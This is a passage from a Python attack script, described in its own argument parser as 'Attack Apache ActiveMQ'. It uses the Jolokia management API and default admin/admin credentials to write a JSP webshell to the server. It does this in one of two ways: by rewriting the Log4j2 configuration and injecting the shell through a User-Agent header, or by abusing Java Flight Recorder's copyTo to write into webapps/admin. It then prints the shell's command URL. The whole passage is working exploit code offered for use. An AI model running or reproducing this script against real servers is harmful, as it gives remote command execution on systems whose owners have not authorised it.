assert data['status'] == 200
return data
def find_mbean_name(self):
data = self.request('GET', '/api/jolokia/list')
for name, val in data['value'].items():
if name == 'org.apache.logging.log4j2':
for type_name in val.keys():
if type_name.startswith('type='):
return f'{name}:{type_name}'
for name, val in data['value'].items():
if name == 'jdk.management.jfr':
for type_name in val.keys():
if type_name == 'type=FlightRecorder':
return f'{name}:{type_name}'
raise Exception('No mbean whose name is org.apache.logging.log4j2 or jdk.management.jfr')
def modify_config(self, mbean: str, template: str):
self.request('POST', '/api/jolokia/', json=dict(
type='exec',
mbean=mbean,
operation='setConfigText',
arguments=[template, 'utf-8']
))
def exploit_log4j(self, mbean: str):
self.modify_config(mbean, evil_template)
logging.info('update log config')
self.request('GET', '/api/jolokia/version', headers={
'User-Agent': f'Mozilla ||| {webshell} |||'
})
logging.info('write webshell to %s', urljoin(self.url, '/admin/shell.jsp?cmd=id'))
self.modify_config(mbean, original_template)
logging.info('restore log config')
def exploit_jfr(self):
record_id = self.create_record()
logging.info('create flight record, id = %d', record_id)
self.request('POST', '/api/jolokia/', json=dict(
type='exec',
mbean='jdk.management.jfr:type=FlightRecorder',
operation='setConfiguration',
arguments=[record_id, record_template]
))
logging.info('update configuration for record %d', record_id)
self.request('POST', '/api/jolokia/', json=dict(
type='exec',
mbean='jdk.management.jfr:type=FlightRecorder',
operation='startRecording',
arguments=[record_id]
))
logging.info('start record')
time.sleep(1)
self.request('POST', '/api/jolokia/', json=dict(
type='exec',
mbean='jdk.management.jfr:type=FlightRecorder',
operation='stopRecording',
arguments=[record_id]
))
logging.info('stop record')
self.request('POST', '/api/jolokia/', json=dict(
type='exec',
mbean='jdk.management.jfr:type=FlightRecorder',
operation='copyTo',
arguments=[record_id, 'webapps/admin/shelljfr.jsp']
))
logging.info('write webshell to %s', urljoin(self.url, '/admin/shelljfr.jsp?cmd=id'))
def exploit(self, action='auto'):
mbean = self.find_mbean_name()
if action == 'log4j':
logging.info('choice MBean org.apache.logging.log4j2 manually')
self.exploit_log4j(mbean)
elif action == 'jfr':
logging.info('choice MBean jdk.management.jfr:type=FlightRecorder manually')
self.exploit_jfr()
elif mbean.startswith('org.apache.logging.log4j2'):
logging.info('choice MBean %r automatically', mbean)
self.exploit_log4j(mbean)
else:
logging.info('choice MBean %r automatically', mbean)
self.exploit_jfr()
def create_record(self):
data = self.request('POST', '/api/jolokia/', json=dict(
type='exec',
mbean='jdk.management.jfr:type=FlightRecorder',
operation='newRecording',
arguments=[]
))
return data['value']
def main():
parser = argparse.ArgumentParser(description='Attack Apache ActiveMQ')
parser.add_argument('--username', '-u', type=str, default='admin', help='Username for the ActiveMQ console')
parser.add_argument('--password', '-p', type=str, default='admin', help='Password for the ActiveMQ console')
parser.add_argument('--exploit', '-e', type=str, default='auto', choices=['auto', 'log4j', 'jfr'], help='Exploit')
parser.add_argument('url', type=str)
args = parser.parse_args()
app = Application(args.url, args.username, args.password)
app.exploit(args.exploit)
if __name__ == '__main__':
main()
```